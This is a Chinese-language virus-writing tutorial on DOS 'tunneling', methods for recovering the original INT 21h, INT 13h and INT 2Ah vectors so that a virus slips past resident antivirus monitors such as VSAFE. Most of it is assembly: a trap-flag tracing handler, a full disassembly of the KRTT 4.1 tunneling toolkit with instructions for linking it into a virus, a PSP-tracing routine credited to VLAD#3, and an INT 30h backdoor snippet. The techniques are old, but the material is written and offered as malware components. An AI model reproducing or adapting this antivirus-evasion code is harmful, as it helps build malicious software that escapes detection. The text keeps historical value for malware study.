【Tunneling】
~~~~~~~~~~~
我们称tunneling为一类操作,这类操作获得任何中断的原始中断向量,这些中断是所有关于INT 21h的所有时间的中断。由此可见,并不是所有的操作都可以称作tunneling(如,后门backdoors),但是我们也会在这篇文章里面讨论到。
Tunneling是为避开TSR监视程序而开发的。这种类型的反病毒对普通使用者来说是不可理解的(什么话!),因为他们被告知了钩住中断,打开可执行文件,和一个病毒通常会做的事情的企图。这种方法用上述的方法(反探索)确实很难对付了,因为它们不搜索一些比特,它们仅仅钩住和控制重要的中断(21h,13h...)
最普遍的TSR监视程序是Flintstones的VSAFE,VSHIELD...我们的目标是获得原始的中断向量但是...怎么来实现呢?你有很多个选择。
%跟踪%
~~~~~~
这可能是最常用的方法之一,但也是很不安全的方法。是的,这种类型的tunneling是非常脆弱的,而且如果你仔细地看看下面的论述,你会知道为什么是非常脆弱的:)
有一个标志,叫做陷阱标志Trap Flag(通常缩写为TF),如果被激活,用来把处理器切换到单步执行模式。单步执行模式就是调试器用来一步一步的执行指令的,当然我们可以用来满足我们的需要啦:)
一个指令每执行一次,TF就会被激活,INT 1将会被调用,所以这次是我们的啦:)但是没有一个激活它的指令,所以我们必须对标志处理。让我们看看我们怎样激活TF的:
pushf ; Push flags to stack
pop ax ; And put them into AX for play
or ax, 100h ; We activate the TF at this point
push ax ; We must push AX...
popf ; for restore our preety flags :)
利用这些简单的代码,你已经激活了陷阱标志。我忘了给出所有标志了,下面给出:
Position 0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00
Flags -- -- -- -- OF DF IF TF SF ZF -- AF -- PF -- CF
正如你所看到的,这些标志是在一个16位的寄存器里面。下面给出标志列表及所代表的意义:
CF : Carry Flag Indicates an arithmetic carry
PF : Parity Flag Indicates an even number of 1 bits
AF : Auxilary Flag Indicates adjustment needed in BCD numbers
ZF : Zero Flag Indicates a zero result, or equal comparison
SF : Sign Flag Indicates negative result/comparison
TF : Trap Flag Controls Single Step operation
IF : Interrupt Flag Controls whether interrupts are enabled
DF : Direction Flag Controls increment direction on string regs.
OF : Overflow Flag Indicates signed arithmetic overflow
让我们记住关于中断的一些东西。每次我们调用一个中断,在堆栈里是6个字节:标志和CS:IP。你必须记住这一点,因为我们必须要调用INT 21h,然后跟踪它的代码。如果调用之后CS(在堆栈中)等于当我们请求的中断向量DOS已经给我们的值,那么这个中断就是正常的中断。实现tunneling的简单的例程如下:
int01handler:
push bp
mov bp, sp
push dx
mov dx, word ptr cs:[dossegment]
cmp [bp+6], dx
jz found
pop dx
pop bp
iret
found:
mov dx, [bp+6]
mov word ptr cs:[int21_seg], dx
mov dx, [bp+4]
mov word ptr cs:[int21_off], dx
pop dx
pop bp
add sp, 6
[...]
但是这种类型的tunneling,正如我在开始解释的时候所说的,有很多弱点。我们不保护POPF,PUSHF,CLI和TF的释放,因为我们要真正地执行这个代码。
如果病毒查杀工具重定向INT 21h给另外一个中断,我们又要受挫了。正如你能看到地,这个跟踪不安全。
好了,我们可以通过检查一些代码来解决一些问题,如PUSHF和POF,为了不使蹩脚者释放TF。无论如何,跟踪不是最好的选择...
%字节到字节(byte-to-byte)%
~~~~~~~~~~~~~~~~~~~~~~~~
最流行(仅有的一个)的源程序是K攈ntark Recursive Tunneling Toolkit ( 即 KRTT )。它使用的方法是对中断处理程序中的所有操作码做比较,为了判断它是否为CALL,CALL FAR,JUMP FAR,和JUMP OFF:SEG,然后获得这个值作为INT 21h。让我们看看KRTT41包中的KRTT41.OBJ这个文件的彻底反汇编,它是这个工具的核心。
;----从这里开始剪切-------------------------------------------------------
; K攈ntark Recursive Tunneling Toolkit 4.1 (c) 1993 by K攈ntarK
; 反汇编 Billy Belceb?DDT
;
; 输入:
; BP : 01 Searches for INT 2Ah handler
; BP : 02 Searches for INT 13h handler
; BP : another value Searches for INT 21h handler
; 输出:
; AH : 00 Not found
; AH : 01 Found!
; AH : 02 Int 21h / 2Ah / 13h Not Hooked
; AH : 03 DOS internal interrupts are hooked
; 如果找到:
; DX DOS INT 21h / 2Ah / 13h SEGMENT
; DI INT 21h / 2Ah / 13h OFFSET
; AL RECURSION DEPT
; DESTROYED:
; AX,BX,CX,DX,DI,BP,ES
;
; 汇编:
; TASM KRTT41.ASM
; TLINK <virus name> KRTT41.OBJ
;
; Call TUNNEL for make tunneling
;
; 声明: 这是我第一次试着反汇编一些东西,所以如果有大的错误,原谅我:)
; 这不是我的工作...
.model tiny
.code
public tunnel
tunnel:
cli ; Disable interrupts for tunneling
xor ax,ax
mov es,ax ; Make ES = 0 for get IVT
xor di,di
mov dx,es:[00AEh] ; Checks for assure tunneling
mov cx,es:[00A2h] ; INT 26h =! INT 28h
cmp dx,cx
jz check
mov cx,es:[00B2h] ; INT 26h =! INT 28h =! INT 2Ch
cmp dx,cx
jz check
mov ah,03 ; Checks failed : DOS ints are hooked
ret
check:
cmp bp,01h ; BP=1 Hook INT 2Ah
jz int2A
cmp bp,02h ; BP=2 Hook INT 13h
jz int13
int21:
mov bx,es:[0084h] ; BP=Other Hook INT 21h
mov es,es:[0086h]
jmp go4it
int13:
mov bx,es:[004Ch] ; Get INT 13h vectors from the IVT to
mov es,es:[004Eh] ; ES:BX
mov bp,es
mov dx,0070h
cmp bp,dx
jz nothooked
jmp letstunnelit
int2A:
mov bx,es:[00A8h] ; Get INT 13h vectors from the IVT to
mov es,es:[00AAh] ; ES:BX
go4it:
mov bp,es
cmp dx,bp
jnz letstunnelit
nothooked:
xchg bx,di
mov ah,02h ; INT not hooked *yeah* ;)
ret
letstunnelit:
call main_body ; Go and tunnel it
sti
ret
main_body:
push es
push bx
cmp al,07h ; Check for recursion
jz exit
cmp ah,01h ; Found ?
jz exit
inc al
mov cx,0FFFAh
sub cx,bx
main_loop:
push bx
cmp byte ptr es:[bx],0E8h ; Is OpCode a CALL ?
jz callsig16
cmp byte ptr es:[bx],0EAh ; Is it a JUMP OFFSET:SEGMENT ?
jz far_stuff
cmp byte ptr es:[bx],09Ah ; Is it a CALL FAR ?
jz far_stuff
cmp byte ptr es:[bx],02Eh ; A Segment Override CS maybe ? :P
jnz jmpfar
cmp byte ptr es:[bx+01],0FFh ; A JUMP FAR ?
jnz jmpfar
cmp byte ptr es:[bx+02],01Eh ; PUSH DS ?
jz far_stuff2
cmp byte ptr es:[bx+02],02Eh ; CS ? ( again )
jnz jmpfar
far_stuff2:
mov bp,es:[bx+03]
dec bp
xchg bx,bp
jmp far_stuff
jmpfar:
pop bx
cmp ah,01h ; Found ?
jz exit
cmp al,07h ; Check for recursion
jz exit
inc bx
loop main_loop ; And loop it
callsig16:
pop bx
add bx,03h
loop main_loop
exit:
pop bx
pop es
ret
far_stuff:
pop bp
add bp,04h
push bp
cmp es:[bx+03],dx
jz found
cmp word ptr es:[bx+03],00h
jz jmpfar
push es
pop bp
cmp es:[bx+03],bp
jz jmpfar
mov bp,bx
mov bx,es:[bx+01] ; Where it points
mov es,es:[bp+03]
call main_body
jmp jmpfar
found:
mov di,es:[bx+01]
mov ah,01 ; INT 21 found
jmp jmpfar
end tunnel
;----到这里结束------------------------------------------------------------
如果你想要完全的包,可以搜索,它很容易找到的,但是KRTT不是很安全。也许你很恼怒。Tunneling看起来是一项非常不安全和脆弱的技术。这只是在这些老技术里才会发生。如果控制权是由另外一个不是我们的程序的指令返回的时候,KRTT就会受挫了。利用一个条件jump或者RETF很容易调用INT 21h,这对我们不好。而且这个必定是递归的,显而易见。
%PSP跟踪%
~~~~~~~~~
如果你还记得那个非常重要的结构PSP,并看过了关于offset 0005的描述,你将会想..."利用FAR CALL来调用INT 21该是多痛苦啊!"PSP的这个offset已经相当过时了,它只是为了对非常老的程序兼容而保留的。但是它包含了非常有趣的数据,如INT 21h指派。INT 21h指派不是INT 21h处理程序,不要忘记这一点。正如Satan的Little Helper所说的,offset PSP:6能直接指向调度,或者不直接指向,这需要一些对第一种情况的双nop调用处理。
下面的例程来自VLAD#3(很强的一个组织!),Satan's Little Helper写的文章,介绍了利用PSP来获得INT 21h地址的方法。
;-----从这里开始剪切-------------------------------------------------------
; PSP tracing routine by Satan's Little Helper
; Published in VLAD#3
;
; INPUT:
; DS PSP segment
; OUTPUT:
; DS:BX INT 21h address
; CF 0
; if tunnel failed:
; DS:BX 0000:0000
; CF 1
psp_trace:
lds bx,ds:[0006h] ; a pointer to dispatch handler
trace_next:
cmp byte ptr ds:[bx],0EAh ; JMP SEG:OFF ?
jnz check_dispatch
lds bx,ds:[bx+1] ; point to the SEGMENT:OFFSET
cmp word ptr ds:[bx],9090h
jnz trace_next
sub bx,32h ; 32h byte offset from dispatch
; handler
cmp word ptr ds:[bx],9090h ; If all is OK, INT 21h has this
jnz check_dispatch ; signature ( 2 NOPs )
good_search:
clc
ret
check_dispatch:
cmp word ptr ds:[bx],2E1Eh ; PUSH DS, CS: ( prefix )
jnz bad_exit
add bx,25h
cmp word ptr ds:[bx],80FAh ; CLI, PUSH AX
jz good_search
bad_exit:
stc
ret
;-----到这里为止剪切-------------------------------------------------------
相当简单而有效。试试看!而且,利用PSP跟踪的框架,我们可以使用另外一个方法,INT 30h的后门。
PSP跟踪比普通跟踪更好,因为在第二个里面我们不知道我们是否正在执行一个病毒查杀工具的代码,而使用PSP就不会发生了。
%INT 30h 后门%
~~~~~~~~~~~~~~
如果你看懂了上面的技术,这就非常简单了。INT 30h有跳转到调度的代码,所以我们可以如下写代码:
xor bx,bx
mov ds,bx
mov bl,0C0h ; INT 30h offset in IVT
jmp trace_next
记住当在Windows环境下,INT 30h用来实现另外一个目的,一定要注意,但是那又是另一段历史了:)
%代码仿真(Code Emulators)%
~~~~~~~~~~
我现在还能记住的第一篇文章是Methyl[IR/G]以前写的一篇文章,发表在IR#8(IRG#1?)。这个小教程不象Methyl的,我没有太多的空间(这篇教程正越来越大),所以这篇教程是100%理论的。但是,不要放弃,它很容易理解。对我来说,仿真看起来是对老的byte-to-byte扫描的改进,但更先进和安全了。我不是说它们完全等价。byte-to-byte扫描仅仅对操作码作比较,而仿真就象指令执行的时候那样做的事情:仿真遵循原程序的流程,有假的跳转,函数调用...用这种方法,它所有可能的INT 21h跳转,这是我们所需要的。OK,这个是概念。如果你想知道更多的东西,我建议你下载IR#8,看看Methyl的教程。那是个很好的杂志,所以祝你好运!
%高级tunneling%
~~~~~~~~~~~~~~~
啊...还是那句话:我不想使你的头脑因为太多的知识而爆炸。现在有更安全、更酷、更新...的技术,但是它们都太难了,而且在这篇文章里介绍它们的实现将在你的硬盘上占用太多的空间:)